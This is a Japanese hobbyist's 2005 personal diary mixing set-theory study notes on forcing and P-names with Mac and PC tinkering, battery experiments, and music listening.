ただし、具体的な性質は(少なくとも $M~$ からは)定まらなくとも、forcing language という $M[G]~~$ の要素の「名称」(これは $M~$ で定義可能)の集合(クラス)なるもの $M^{\mathbb{P}}~$ を考え、個別の $p\in\mathbb{P}~$ に対して、その名称間の論理式に対する強制関係(forcing relation)を考えることにより、 $M[G]~$ の要素間の「性質」に関して調べることが可能である、というのが今後何回かに分けて記述する予定である forcing の主眼なのです。正確な定義を一つもしないのもなんなので、まずは $\mathbb{P}~$ -名称(P-name)の定義を。
[P-名称(P-name)の定義]
$M~$ を ZFC の推移的な(集合またはクラス)モデルとして $\mathbb{P}\in{M}~$ を最大元をもつ半順序集合(順序構造も $M~$ の要素)とする。このとき次の定義を行う。
(1) $\emptyset~$ は $P~$ -名称である。
(2) $\beta<\alpha~$ に対する $\mathrm{rank}(\beta)~$ までの $P~$ -名称が定義されていたとする。このとき $u~$ が $\mathrm{rank}(\alpha)~$ の $P~$ -名称であるとは
$\forall~v\in{u}~\exists{x\in{M}}\exists{p\in\mathbb{P}}((x~$ is a P-name of $\mathrm{rank}(x)<\alpha)~$ $\wedge~v=(x,p))~$

(2)をもう少し分かりやすく記述すると
(2') $u~$ is a relation and $\forall~(x,p)\in{u}((x~$ is a P-name) $\wedge~p\in\mathbb{P})~$
名称 $u~$ に対しその domain は通常の定義です。
$\mathrm{dom}(u)=\{x\in{M}~|~\exists~p\in\mathbb{P}((x,p)\in{u})\}~$
P-名称全体の集合(クラス)を $M^{\mathbb{P}}~$ と記述します。 $M^{\mathbb{P}}~$ は Generic と無関係に定義可能であることが重要です。気分的には $(x,p)\in{u}~$ というのは $x~$ が $p~$ 「程度」 $u~$ の要素であるという感じです。特に、上の定義に現れる $p\in\mathbb{P}~$ を全部 1 として domain をもともとの集合の要素に限定することにより、 $M~$ の要素 $x~$ の「標準名称」 $\check{x}~$ を定義することが出来ます。通常は $\check{x}~$ は \check{x} なる記法を使うのですが mimeTeX で \check が使えないので、この日記では \tilde で代用します。
[標準名称の定義]
(1) $\check{\emptyset}~=~\emptyset~$
(2) $\check{x}~=~\{(\check{y},1)~|~y\in{x}\}~$
$M~$ の要素をその標準名称に対応させることにより、 $M~$ を $M^{\mathbb{P}}~$ に埋め込んで考えることが出来ます。

2005年6月10日(金)

OmniGraffle 4 Beta
OmniGroup から将来の Intel Mac のサポートに関して何らかの声明が出てるかな～、とアクセスしたところ、それに関しては特に記述がなく、 OmniGraffle Version 4 ベーター版がリリースされていました。さっそくダウンロードして使ってみたのですが、かなりユーザーインターフェースが変化していた驚きました。慣れるまで少々時間がかかりそうです。ベジェ曲線(Bezier curves)のサポートが一番の売りかな。今までの版では、見栄えの良い曲線を書くのにちと苦労が多かったので、これは助かります。
夏頃に正式版がリリースされ、OmniGraffle 3 Professional からのアップグレードは49.95ドル。きっと払っちゃうんだろうな(^^。

2005年6月8日(水)

Re:宇宙の絶対静止系
最近読んだ雑誌「日経サイエンス2005年6月号・ビッグバンをめぐる6つの誤解」の記述によりますと、背景輻射との関係において宇宙の絶対静止座標は定義可能であると書いてあります。トップ記事でわざわざ書いてあるのでうそではないと思いますし、直感的にもなんとなくそうかな～とは思うのですが、まあこちらの方は全くうといので、書いてあることを信じているだけというのが本当のところだったりします(汗)。分かりやすくなくってごめんなさい(^^。
つまんない知識を書きますと、アインシュタインの一般相対論の一つの解として「ゲーデルの回転宇宙」というものがあり、これは明確にマッハの原理を否定しています。つまり「回転している」という概念は「外から眺めなくとも」宇宙それ自身で定義可能で、おそらく現実の観測された宇宙とは矛盾すると思われるのですが、その解釈を採用すれば、回転にそった「移動」として絶対静止は定義可能なように思われます。ちなみに回転に逆らって逆方向に移動すると、過去への時間旅行ができるそうな。←理論的な根拠が全然分かっていないのでうそだったらさらにごめんなさい(^^。
＃ゲーデルはもちろん「ゲーデルの不完全性定理」のクルト・ゲーデルです。
＃さすが20世紀を代表する天才数学者！！手広いです。

2005年6月7日(火)

集合論古書
「かがみさん集合論が好きだし、ねたにもなりそうなので」と会社の同僚の N さんがくれた本の題名は「能代清著・極限論と集合論」。1944年に第1刷が発行されたもので、N さんが購入されたのは第11刷で 1960年発行のものなのです。ちなみにお値段は 180円(^^。さすがに戦争中の本ということで、平仮名とカタカナの使い方が今とは逆になっています。

右の写真をおっきくして見ると、左上に「実数の濃度は可算ではない」証明らしきものが書いてあることが分かりますが、それより面白いのは、やっぱり「べるんしゅたいんノ定理(*)」ですね(^^。全部カタカナで書いてあるとそんなに違和感はないと思うのですが、外国の人の名前が平仮名というのはなかなか面白いです。実数の色々な部分集合の性質をモチーフに、一般集合論の概念を丁重に記述して内容のようです。そういえばこの時代にはまだ「連続体仮説」のZFCからの独立性は未解決であったわけで、実際に「未解決である」との記述があります(1963年に独立性が証明された)。
とても貴重な本を頂き、ほんとにありがとうございます(^^。
(*)[ベルンシュタインの定理]
集合 X から Y への一対一の写像と Y から X への一対一の写像が存在するとき、X から Y への一対一かつ上への写像が存在する。

2005年6月6日(月)

Quarts 2D Extreme を有効にしてみる
とある情報によりますと、Tiger の隠し機能で Quarts 2D Extreme を有効にする手段があるそうです。この機能を有効にすると、GPU の Direct X9 サポートによっては 2D 画像の書き込みの一部をグラフィックチップに依頼することが可能になり、体感速度が向上する場合があるそうな。ただしおうちの一世代古い PowerBook の GPU がサポートしているかはよく分かりません。
というわけで調べてみたのですが、
りんご→このMacについて→詳しい情報
なるパスで調査可能(システムプロファイルと言うそうな)だそうで、実際にやってみると、使っている GPU はGeForce FX Go5200 なるもので、うまいこと対応可能なようです。隠し機能の使い方は、
# defaults write /Library/Preferences/com.apple.windowserver \
Quartz2DExtremeEnabled -boolean YES
なるコマンドを実行してリブートすれば良いそうで、実際に行ったところ、スナップショットのごとくちゃんと機能が有効になったようです。
ただし肝心の速度はと言いますと、まだいまいち実感がないというのが本音だったりします。
＃もし速くなっててもあっという間に慣れてしまうしね(^^。

2005年6月5日(日)

謎の名前解決不調
二三日前からとある日記系サーバーがおうちからアクセス不能になっていたのです。まあこういうサーバーは予告無くアクセス不能になる場合が良くあるので、今回もそうかな～、と思っていたのですが、それにしてはだめな期間が長過ぎます。
うーむ、昨日からアンテナもどきを作ろうとして、変なユーザーエージェントで何回もアクセスしたから出入り禁止になったか、と思って色々調べてみたのですが、どうも名前解決の段階で失敗していると思われるのです。ということは出入り禁止ではなさそうなのですが、不思議なことには、レンタルサーバーの方で名前解決を行うとうまくゆくのです(^^。
そういえば最近他のページを見に行く場合も、なんか一回目がやけに遅くなった様な気がします。そこで、試しにおうちのサーバー(FreeBSD/R30)の named を再起動したら、すべてがうまくゆく様になりました。うーん、良く分からないのですが、named ってあんまり長時間起動し続けると不調になる場合があるのかな。今後は一週間に一度くらい再起動した方が良いのかも知れません。

2005年6月4日(土)

うたたさんのアンテナ
5月いっぱいでうたたさんのアンテナの公開が中止されるというアナウンスがされていましたが、本日本当に公開中止されたようです。色々とご苦労が多かったと推測されるのですが、とても便利に使わせて頂いていましたので、ちょっと残念なことは事実です。先月中に良く遊びに行くところに関しては全部ブックマークに保存しましたので、当面こちらで運用することになりそうです。
ただし存外数が多くなってしまったので、全部手作業で更新チェックを行うのは難しいかも知れません。もしかすると自前のアンテナを作成する必要があるかな。個人的には無料のサービスのアンテナを自分で管理するのは余り好まないので(今まで便利に使わせてもらったのに失礼)、自作ということになりますが、定期的に w3m で取ってきて、上や下の方の広告等を head やtail コマンドで削除し、diff に渡せばなんとかなるかな。でも、最近とみにずぼら化しているので、作る気力が湧くかどうか微妙なところですが...。
どうも長年お世話になりました(^^。

2005年6月2日(木)

趣味の集合論のススメ
おすすめしても誰ものってこないとは思うのですが(^^。でもホントに集合論って、いろんな数学の中で「楽しむ」という観点からは、一番適した分野かな～と思うのです。実際、近代以降の代数学や幾何学・解析学等の分野は必要な予備知識が多すぎて、いい年した素人が空いた時間に趣味で勉強して、表面的にでも20 世紀以降の偉大な成果を理解することはとても難しいと思うのです。
もちろん私がこの一年半くらいで勉強した集合論の内容などは初歩の初歩、そのまた初歩ですし、さらに今のところ、肝心な実数の細かい性質(解析学もっとまじめに勉強しとけば良かった...)とか、分割の性質等、面倒そうな部分をすっとばしているのも事実なのですが、それでも少しは集合論という学問の方向性というものが見えてきた様な気がするし、色々な定理の証明というか意味を理解した瞬間がなんともうれいしいのですよ！！。理論の性質上「逆理的」な結果に驚くことも多いしね。
集合論におけるゲーデルの業績とか Cohen の forcing というのは、確かに天才的な発想と、言語や論理それから計算に対する卓越した洞察力がなければ絶対に達成不可能な偉業なのですが、個人的な感想としては、他の数学の分野の偉大な業績に比べれば「理解して楽しむための技術的な困難さ」は少なくてすむ様な気がします。要するに予備知識が余りいらない場合もあるのです。実際には書きなぐったノートの山が出来ている(しかも他人が見たら意味不明な図がたくさん書いてあったりする)のですが、感覚的にはアイディアや証明を読み物として楽しめるというイメージです。誤解が無いように書いておきますが、集合論が簡単であるとか、技術的な難しさが他の分野ほどではないなどということではありません。ただ楽しめる(しかもとんでもなく楽しい！！)分野まで到達するのに、他の分野に比してやや困難が少ないと思われるということです。
建前としては集合論の勉強を始めるには、高校程度の数学の知識があれば十分なのですが、一応知っていると楽出来る概念としては、　
- 初歩的な代数の知識。線形代数とか群や可換環の定義くらいは。
- 初歩的なトポロジーの知識。位相構造とフィルターとか。特にフィルターは集合論においてびっくりするほど活躍するので、トポロジーとの関連の直感があったほうが後が楽。
- 実数の基本的な性質。特に積分論。これは私全然だめなのですが、ルベーグ測度やボレル集合等の研究は、現代的な集合論のトピックとして一番面白いものの一つらしいです。
- 後大切なのは、論理や証明がどのような方法で形式化されているかの認識でしょうか。このあたりをはずすと「とんでも」方面に向かってしまう恐れがあるかも知れません。まあ数学のとんでも系の人って、大体形式と解釈を混同してますから。形式的な記述とその解釈に関するある種の感性は必須だと思います。
あたりでしょうか。やっぱり大学一二年程度の数学の基本的な知識は必要かな。というわけで、素人が好き勝手なことを書きましたが、ホントに面白いんですよ！！集合論って。お薦めです(^^。
＃大学一二年なんて書いたくせに、最近モカちゃん(小学校6年生)に
＃数の計算の速度や正確さでで負けてるのは絶対に内緒なのでした(^^。

2005年6月1日(水)

番外編・やっぱforcingではまる
[集合論雑記目次]
案の定forcingの意味が全然分かってなかったようで、連続体仮説の独立性の証明を読んでて、元の半順序集合のc.c.c条件が基数の絶対性を導く部分における次の証明が直感的に分かんなくって半日くらいはまりました。
$M~$ を集合論の推移的なモデルとして、 $\mathbb{P}\in{M}~$ を最大元 $1~$ を持ち c.c.c(countable chain condition)を満たす半順序集合、 $G~$ を $M~$ 上 $\mathbb{P}~$ -generic とする。ここで $X,~Y\in{}M,~f\in{M[G]}~$ で
$M[G]~$ で $'{f}~$ is a function from $X~$ to $Y'~$ が成立していることとする。
このとき
$\varph\in{M},~\varphi:~X~\rightarrow~\cal{\mathbb{P}}(Y)~$ が存在して $\forall~x\in{X}(f(x)\in{\varphi(x)})~$ が成立し、さらに $\forall~x\in{X}(|\varphi(x)|\le\aleph_0)~$ が成立する。
証明は「理解してしまえば」簡単で、 $f~$ の名称を $\dot{f}\in{M^{\mathbb{P}}}~$ として $p\in{G}~$ を
$p||-'\dot{f}~$ is a function from $\check{X}~$ to $\check{Y}'~$
が成立するようにとり
$\varphi(x)~=~\{y\in{Y}\,|\,\exist{q\le{p}}(q~\rm{||-}~\dot{f}(\check{x})=\check{y})\}~$
(*) \check が mimeTeX で使えない様なので \tilde で代用
とすれば良いのですが、どうしてこんなことしなけりゃいけないのか全然分からなかったのですよ(汗)。つまり $f(x)\in{Y}~$ が成立するので $\varphi(x)=\{f(x)\}~$ として何が悪いのか悩みに悩んだのです(恥)。ということは、なんとか分かってから ( $f(x)~$ の値は $M~$ では確定しない。というより $f~$ に関連することを名称経由でなく $M~$ で言及してはいけない)考えると、やっぱりforcingについて全然理解してないことが明白になったわけで、「大体分かった」というのは全然分かっていないという「理論」を自ら実証したのでした。いずれにしても、まだ色々手抜きや勘違いしてる可能性もあるのですが、今は「連続体仮説のZFからの独立性」を理解した気分になっていまして、集合論の勉強を始めた一つの目標を達成した訳で、個人的にはとってもうれしかったりします(^^。

2005年5月31日(火)

猫森集会の日程決まる
今年の猫森集会の日程が決まったようです。去年と同様に9月連休中の公演で平日は二日だけなので、最悪一日くらい行けなくなるかも知れませんが、大体全部通うことが出来そうです。こちらにメモっておく。

2005年5月30日(月)

実は長持ちアルカリ電池
Apple の無線マウスはかなりの大飯ぐらいでして、どの電池を使用すれば一番得かな～と考えた末、オキシライド乾電池が一番コストパフォーマンスが良いと思っていたのです。ところがとある方からつっこみがありまして、
単体ではオキシライドほどは持たないかも知れないけれど、まめに交換すれば一個あたりの価格が安いので、アルカリ電池の方が得なのではないか。
ということなのです。そもそもオキシライド乾電池が良いと思っていた理由としては、
- おまけに付いてきたリチウム電池と遜色が無い性能であった。
- 100円ショップで購入したアルカリ電池が半日しか持たなかったといううわさを読んだことがある。
- 最近の松下の製品はなかなか優秀なのが多いので、オキシライドに関しても問題ないであろうと思い込んでいた。
などが挙げられるのですが、つっこまれたからには実験を行う必要があります (^^。なので、5月12日に近くの電気屋さんで 4個 88円(お一人様二パックまで) なる、三菱が輸入しているALKALINEという電池を購入して実験したのです。オキシライド乾電池の場合、まとめ買いで一個75円程度で18日使用可能。今回のアルカリ電池は一個 22円なので、4～5日持てば同等のコストパフォーマンスということになります。ただし余りコストが変わらないようでしたら、しょっちゅう交換するのも面倒なので、オキシライドを使い続ける予定でした。ところがところが、なんと今日で安物アルカリ電池を使い始めて 18日目なのですが、そろそろ限界とはいえ、まだ切れないのですよ(汗)。
むむむむむ！！。マウスを動かしているとぴかぴか光るので、瞬間的に電力をかなり消費するのかと思っていたのですが、よく考えるとほとんど年がら年中使用して半月以上持つのですから、実はそれほど瞬発力が必要な機器ではなく、オキシライドではあんまり効率が良くなかったのかも知れません。いずれにしても一回 50円以下の価格で月に二回程度の交換で済むということになると、月に300円近いと思っていたランニングコストが100円程度になる訳で、いやはや本当に助かります。どうもつっこみありがとうございます(^^。
＃現在は人様から頂いたとっても高いリチウム電池が8本余っていてコスト0です(笑)。

2005年5月28日(土)

日経サイエンスDVD-ROM版記事データーベース2000年-2004年
私は数学もそうですが、科学に関しては数学以上の素人で、知識とか展望は全く無いし、最近の特にテクノロジー(含・計算機)系の「科学と称するもの」に関しては、非常に批判的な思いが強いのです。それでも科学を素人向けに解説してくれる読み物はなかなか好きでして、「日経サイエンス」誌は毎月定期購読しているのです。ただし元東北大学教授・現首都大学東京学長の西沢潤一氏が編集委員になってから、記事の選択に偏りが出るとともに、内容的にも一部のものを除き、以前に比して劣るようになったと思われるのはとても残念です。
今回発売になったデーターベースは、2000年から昨年までの記事を全部 PDF化したもので、定価は 23,100円ですが、雑誌を定期購読しているということで、一万円ちょっとで購入することが出来まして、まあこの位の値段ならと注文しておいたのが昨日届いたのです。さっそく段ボールの包みから出して箱の説明を読みますと、
本DVD-ROMに添付されている検索機能はWindows環境のみに対応しております。
とのこと。ふふふふ！(^^。ちょっと前までならば「Windoswでしか検索が使えないのでは意味ないじゃん。不愉快だな～」と思うところでしたが、もちろん今使っているのはは Mac OS X 10.4 Tiger でPDFの内容の検索はお手の物です。ということで、少々容量を食う(2.7G)のが難点ですが、DVDの内容を丸ごとハードディスクにコピーして検索をかけたところ、もちろん何も問題なくキーワード検索が出来まして、少なくとも素粒子論と宇宙論に関する解説に関しては、これから楽しく読み直すことが出来そうです(^^。

2005年5月27日(金)

安ものPC物色
先日火を噴いたDELLのPC 二台ですが、修理費がちと高かったので Linux の方だけを修理して、今や カラープリンターサーバーと Word/Excel 文書を Acrobat で PDF に変換する用途にしか使用していないWindows PC は近くの電気屋さんで安物を物色です。組み立てPCでしたら上手にパーツを選択すればそれなりに安くて良いものが出来るのでしょうが、OS買わなきゃいけないし、そもそも私が組み立てるとまたまた火を噴く恐れがあったりします(^^。
てなわけで、中古売り場を物色していたのですが、ありましたよありました！安いのが。Compaq のかなり古い型で、CPU がなんとかかんとかの 1.8GHz、メモリーが 512Mバイト、HDDが 20Gバイト、Windows XP 付きでで 37,920円なり。店員さんに聞いたところ、マザーボードがかなり古いタイプで、メモリーアクセス等は今の機種に比べればかなり遅いとのこと(なんとかの 133MHz だったと...)。まあ、用途を考えれば少々遅くても特に問題なく、さらにハードディスクの容量も今後もし必要になれば交換すれば良く(保存するものがないので簡単に入れ替えられる)、現行の用途には十分です。さらに今や化石となった RS232Cシリアルポートなんかが付いていたりするのも得点が高かったりします。
うーむ、自分のならばともかく、会社で普通に使用する Windows PC なんて、特に私の場合、そんなに速くなくても良いのですから、こういう選択肢は結構コストパフォーマンスが高いのでは...。なかなか良い買い物だったかも知れません(^^。
＃現在 XP インストール中。

2005年5月24日(火)

やっつけしごと
昨日おうちに帰ったら会社の Oさんから電話が...。なんと本日京都に持ってって明日納品する機材のソフトにバグが発見され、15時頃には出発したいので、それまでになんとか直してくれないかということなのです。
なので、今日は朝からソースを見直したり、色々実験したりしたのですが、どうもこの前お客様の要望で変更した機能が悪さをしているような。でもその機能と今回のバグは密接に関係していて、機能追加とバグ修正はなかなか両立しそうにありません。
いや～困りましたなあ。そうはいうものの Oさんにはいつもお世話になっているし、そもそも直さなのを持ってくと現場でとっても辛い思いをさせてしまいそうです。結局出発を最終の新幹線に間に合う 18時頃まで延ばしてもらって、プログラム全体の構成からは「許されない」アドホックな方法で対処してなんとか間に合わせたのですが、どうぞ明日は電話がかかってきませんように(^^。
＃これだけ時間に追われて仕事したのは久しぶりですな。

2005年5月22日(日)

番外編・連休中に勉強したこと---forcing
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex
ちと古い話になりますが、連休中は趣味の数学ということで Thomas J. Jech 著 Set Theory で forcing(強制法)について勉強してました。うーむ、大体分かったつもりですが、数学で「大体」というのは実は全然分かっていなということなので(笑)、さらに勉強を継続必要がありそうです。まああくまでも趣味なのでのんびりと。
もともと forcing はカントールが提示した連続体仮説、それから選択公理の ZF 等からの独立性の証明において Paul Cohen が導入した概念で、20世紀数学における最も独創的かつ斬新的な概念の一つとされています。もちろん今となっては古典的かつ基礎的な分野なので、発表当時に比べて非常に整理され分かりやすくなっているようです。勉強しなけりゃいけなかった部分としては、全部把握しているかどうかは別として、
- Boolean algebra と complete boolean algebra
- 半順序集合の complete boolean algebra への稠密な埋め込み。ただし元の半順序集合が分離的でない場合は、一対一の埋め込みにはならない。
- Generic について(これは Martin の公理のときに大体感触はつかんでいた)
- ブール値モデル
- B-generic ultrafilter と B⁺-genericの関係
- V^Bというブール値モデルと「名称」の定義
- V^Bでの Vの要素の標準名称・Generic の標準名称(どうしてあんなに簡単な定義でうまくゆくのだろう)
- 名称とforcing. V[G] との関連。
はずしている可能性もあるのですがV^Bの要素を「名称」とする forcing relation により、例えばもとの半順序集合に対応する Generic(これは存在するかどうかは分からない場合が多いし、ある意味存在したら面白い拡大は出来ない)G による「仮想的な拡大」V[G]の「性質」を「近似」することが可能で、それならブール値モデルの中でのみ議論すれば良さそうなのですが、それは直感的に難しい(本当に面倒) ということで、言葉の置き換えで V[G] なる概念を使用した方が便利で、さらに論理的にも問題がないということらしいのです。いずれにしても半順序集合というのは極めて多彩なので、色々な Generic 拡大を得ることが出来、その拡大の中で種々の無矛盾性等の結果が得られるということと認識しております。
どうなのかな。この辺りの概念というのは、普通に考えられている集合論を超越してしまっている部分もあるような気がするのですが、まあこれから色々な実例とか Iterated forcing 辺りを眺めれば、もう少し直感的な理解が出来るようになるかも知れません。
もう少し理解が進んだら、具体的な内容を日記に書く予定です。でもいつになることやら(笑)。

2005年5月21日(土)

はずれ
本日会社の同僚の Nさんから「はずれ」とう題名のメールが来まして、なんのことかな～、と中身を読んだところ、PowerBook G4 12inch にも搭載してある可能性があるバッテリーに火を噴く可能性があるものが存在し、無償交換のプログラムが提供されているとのこと。ただし残念ながら(笑)Nさんのバッテリーははずれだったそうな。
むむむのむ。これはチャンス！！。もし当たれば、どうせほんとに火を噴くなんて滅多にないでしょうから、後一年くらい使用してへたってきた頃に交換すれば一回分得するではないか(^^。と思ってバッテリーを見たところ、おお！！型番はちゃんと合っているではありませんか。ところが、残念なことに交換対象のシリアル番号が HQ441～HQ507 で、おうちのバッテリーのシリアル番号は HQ3XX。
惜しい！。とっても惜しい！！。とってもとっても惜しい！！！。たった 100 番の違いではないか(笑)。というわけで、火を噴く危険を冒して得しようというあさましい計画はおおはずれに終わったのでした。
ところで先日本当に火を噴いたPC ですが、一台あたりの出張修理費が 89,000円という見積もりで、これはちと高いので、修理はよく使う Linux 用の方だけにして、Windows 用の方はその辺のお店で安い家庭用のでも調達することにしたのです。
で、おとといの朝マザーボードが届きまして、午後から技術の方が来られて一台直してってくれたのですが、その時「余った機材は明日別の業者が取りに来ますので渡しといて下さい」とのことだったのです。ところが昨日になっても誰も取りに来ないで、その代わりに、
もう一つマザーボードが届きました(笑)
うーむ、確かに見積もりは二台お願いしたのですがねえ。運良くこのまま取りにこなかったら、もう一つの方はただで直ると思うのですが、二ヶ月くらい塩漬けにして、それでもなんにも言ってこなかったらありがたく頂くことにしましょう(^^。

2005年5月18日(水)

Tiger ヴァージョンアップ
昨日だか本日 10.4.1 になったそうで、さっそくダウンロード・インストールを行いました。私の環境では特に不具合が出ていた訳ではないのですが、なんか Windows ネットワーク(というかマスターブラウザ)へのアクセスが迅速になった様な気がします。
それはそうと、もう絶対に Panther に戻ることは出来ません。Spotlight が信じられない位に便利なのですよ！！。デスクトップから色々なフォルダーを探しまわってうろつく頻度が激減しました。
さらに読み込みと検索専用に導入したApple Mail が存外便利でして、なかなか見栄えが良いし、やっぱインラインで画像が表示されるのもうれしかったりします。しかも Spotlight の機能がメールの機能と統合されていて、プロジェクトごとのキーワードを条件として仕事用の仮想フォルダーを作成したり、奥様とのやりとり専用の仮想フォルダー、お友達別の仮想フォルダーを作成したりと、普通のフォルダーへの振り分け条件とかあんまり意識しないで使用できるのが素晴らしいのです。条件も簡単に更新できるし。
これで自動右揃えの機能さえあえば Apple Mail に完全移行することも考えられるのですがねえ。ちと残念です。でもバックアップやメールの内容を生で見れるという意味では Mew の方が分かりやすく便利なので、このハイブリッド方式は思ったよりお薦め度が高いのかも知れません(^^。

2005年5月16日(月)

PC 壊滅
やっちゃいました！！。会社でとある機材に開発用 Linux PC の RS232C ポートを接続して、内部の配線をごにょごにょしてたら機材が火を噴きました(汗)。しまったー、また壊しちゃったよ～(前歴あり)ということで、機材の方に気を取られていたのですが、なんと Linux PC の方もいつの間にか反応がなくなっていました。電源を入れ直しても、ファンは回るのですが BIOS の画面が出ないのです。
こっこれは(汗)。もしかして RS232C 経由で高電圧が入ってしまったのでは、と専門家のご意見を伺ったところ、やはりその可能性大だそうで、まあ壊れてしまったのは仕方がないのですが、ハードディスクが飛んでしまったら後がとっても面倒です。ということで Linux マシンの 2台のハードディスクを隣の Windows マシンのディスクと交換してブートさせようとしたのですが、こちらは電源を入れてもファンも回らない状態です。
むむむのむ。どうも破壊的な電圧が周辺にかかったようで、こちらの PC も道連れのようです。そもそもこの Windows マシンは、昨年似た様な事故を起こして(おい)RS232C ポートが壊れてしまった「元 Linux マシン」でして、 Linux でシリアルポートが使用できないと不便なので、Windows マシンとして使用することにしたものなのです。もちろん「元 Windows マシン」が現在 Linux マシンとして稼働していたのです。
というわけで肝心のハードディスクですが、他の使ってなさそうな PC を借りてブートさせたところ、幸いこちらは無事でして、胸をなでおろしたのですが、いやはや Dell のサポートに連絡したところ、双方マザーボード交換ということで、一台 10万円近く修理費がかかるそうな。今後機材の取り扱いには注意する必要がありそうです。
＃PowerBook が無事で良かった(^^。

2005年5月15日(日)

久々のLD
おうちの LDはパイオニアの CLD-110という完全に化石化した機種でして、おそらく発売されてから 20年以上経過していると思われます。さらに CDを入れると頭出しに失敗して再生不可能で、LDだとなんとか音と絵が出てくるという、いつ壊れても不思議がないものなのです。
そうはいうものの LDの資産が結構あったりするのと、光出力がついてるので音質に関しては問題がないということで、未だに現役だったりします。
資産と言えばなんといっても絶対に捨てることが出来ないのが、グレングールド・コレクションI, II(The Glenn Gould Collection I, II, Iが 6枚組 IIが 2 枚組)でして、両方とも購入した時点で限定販売であり、ネットで DVD版が出てるか調べてみると、DVDどころか LDに関しても現在一般には入手不可能らしいのです。むむむっ、なかなか貴重ですな。
というわけで今日の午後はずっと、グールドの演奏でバッハ・リヒャルトシュトラウス・ベートーヴェンなど聴いていたのですが、色々版権等の問題もあるのでしょうが、このような 20世紀ピアノ演奏の宝とも言うべきものは、ぜひ DVD等の媒体で再発売して欲しいものです。ちなみにすっかり忘れていたのですがCollection II の一枚目が亡くなる直前に演奏した「ゴルドベルク変奏曲」で、実はこの演奏の CDが見当たらなくて困ったな～、と思っていたのですが、ちゃんと LDヴァージョンのを持っていたのでした(^^。素晴らしい！！。
LDが壊れたときの対処ですが、 Joeさんのページを見てもおそらく、私のと同じか若干最近の機種(機種名なんですか？)にもかからわず、 5年前に正式な修理不可能だったそうで、残念ながら万が一のときはあきらめるか、オークションかなんかで中古のを買うしかなさそうです。

2005年5月13日(金)

実験台
ご指名のようですので、さっそく実験台になっています。私自身は面識がないのですが、よしだむさんが作られた MH形式やGnus の nnml形式用のSpotlightプラグインです。私は Mac OS X のプログラムの作法は全然知らないのですが、確かにリンク先のプログラムを段ロードさせて頂き、これまたリンク先の通りに設定しますと、おおこれは素晴らしい！！Mew のフォルダー以下のメールの検索が全部出来るようになりました(^^。
例えばコマンドラインで奥様に帰るメールをしたのを検索するには、私は通常 EUC で端末や Emacs を使用しているので、
```
$ mdfind `echo "もうすぐ帰ります" |  nkf -w` -onlyin ~/Mail/
/Users/kagami/Mail/private/2366
/Users/kagami/Mail/private/4719
/Users/kagami/Mail/private/3379
...
```
という感じで検索対象のファイル名がすべて得られます。ふむふむ、後は namazu.el かなんかを参考にして、上記コマンドが Mew と連動するようになればさらに便利そうです。これに関しては明日明後日くらいに実験してみる予定です。

2005年5月11日(水)

続・USB ハードディスク
昨日うまく動かなかった USBハードディスクですが、もし PowerBook に負荷がかかりすぎたというのならば、USBハブを使えばそちらから電源が供給されるので良いのではないか、というつっこみがありまして、さっそくご家族様 PC からハブを拝借して再実験です。
結論から言いますとすべてうまくゆきました(^^。昨日うまくゆかなかったのは、やはり電源不足もしくは PowerBook 内の熱の問題だったようです。
ところで今後の運用ですが、やっぱ OS自体をインストールするのは出来そうにないので、もし継続して使用するとなると PowerBook のバックアップが主体になると思うのですが、いちいち USBたこを繋ぐのはちと面倒です。うーんどしようかな。ハードディスクは USBたことともにご家族様 PC のところに置いといて、そちらのバックアップ専用にして、PowerBook 側のバックアップは今まで通り 100BaseT ネットワーク経由で、80Gバイトのディスクが積んである、 X24 を使用する方が楽かも知れません。
いずれにしても教えて下さりどうもありがとうございます。

2005年5月10日(火)

USB ハードディスク
会社のKさんがこの前買ってきた、2.5インチハードディスクをUSBに変換する箱を譲ってもらったのです。ちゃんとしたソフトケースに入ってて、本体・ USBケーブル(給電用の二股あり)・ハードディスク装着ねじ・専用ねじ回し付きで、なんと980円だったそうな(笑)。
おうちに帰ってからさっそく X24購入時に入っていた 30Gのハードディスク (今は80Gのがほとんど使われずに入ってる...)を装着して PowerBookに繋いでみました。ハード的な認識自体は全く問題がなく行われましたが、当然のごとく「ファイルシステムが分からない」という意味のダイアログが出てきました。ダイアログにはディスクユーティリティーの起動を選択するボタンがあったので、それを起動して Mac OS 形式のフォーマットも問題なく完了したのです。
ふむふむ、これはバックアップ用途に案外便利だし、さらにもしこれにOSをインストールして起動可能だったらリカバリー用にも使えるし、とっても便利だなーと思い、実験として /home(/Users)以下を全部バックアップしようとしたのですが、
PowerBookの画面が薄暗くなって、「リブートしてください」なるメッセージが(笑)
さらに本体がとっても熱くなっていたりします。むむむのむ、もしかしてこれって熱暴走？まずい！！壊れちゃったらどうしよう。ということであわてて電源を落としまして、さめるのを待ってから再度電源を入れたところちゃんと起動したので一安心です。
そこでやめときゃ良かったのですが、なんかもう一度実験したくなって、こんどは中身が 1Gバイト近くある /sw(finkのインストールディレクトリー)以下をバックアップしたところ、こちらは問題なく終了しました。そこでもう一度 /home 以下をバックアップしようとしたのですが、先ほどと同じタイミングでパニックを起こします。うーむ、これだけ正確な再現性があるということは、熱暴走という感じではなく、なんらかのハード的もしくはソフト的な不整合だとは思うのですが、もちろん原因は分かりません。いずれにしてもまたまた本体がかなり熱くなってきていたので、実験はこれにて終了したのですが、やはりハードディスクともなるとかなり電力を消費する可能性があるので、外部電源付きでないとノートPCには苦しいのでしょうか。一つ予備玉があると便利なのですが...。余ってしまったUSBハードディスクはご家族様PCのバックアップにでも転用しようかな。これならきっと問題ないでしょう。

2005年5月8日(日)

スピーカーケーブル交換
先日買ってきたスピーカーケーブルを繋いでみました。たかたにさんにアンプを頂いてから非常に音質が良くなったのですが、ちょっと低音にぼこぼこ感がありまして、これは 20年もののスピーカーケーブルの問題かな～、と怪しんでいたのです。
まず左のスピーカーですが、これは以前ケーブルを挿入する部分をしめつけるねじがプラス・マイナスとも壊れまして、仕方ながないので裏面に小さい穴を開けて、そこから内部にケーブルを引き込んで基盤に直接ハンダ付けだったりします(笑)。で、古いハンダ付けをみますと、これまた素晴らしい「ぼてはんだ^^」。一応前よりはましにつけたつもりですが、ぼってり感はいなめません。まあ引っ張っても取れないみたいなのでこれで良しとしましょう。
